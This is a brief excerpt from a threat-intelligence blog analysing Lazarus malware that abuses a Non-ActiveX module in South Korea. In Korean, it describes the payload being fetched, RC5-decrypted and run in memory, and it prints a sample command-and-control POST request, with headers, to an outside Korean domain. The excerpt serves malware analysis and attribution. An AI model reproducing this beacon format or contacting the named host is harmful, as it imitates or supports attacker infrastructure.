S2W TALON blog (medium.com/s2wblog)
Analysis of Lazarus malware abusing Non-ActiveX Module in South Korea · 2021-07-08
attribution sentence: 최종적으로 국내 유포지로부터 추가 악성코드를 다운로드 후 RC5 로 데이터를 decrypt하여 메모리에서 실행 접속 패킷 예시 POST /html/facilities/facilities_01_06.asp?product_field=racket HTTP 1.0 Host: grandgolf.co.kr:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57 Accept: text/* Content-Type: application/x-www-form-urlencoded Content-Length: 0 연관성 분석 이번에 발견된 악성코드는 과거 Lazarus가 국내 침해사고에서 사용됐던 악성코드와 유사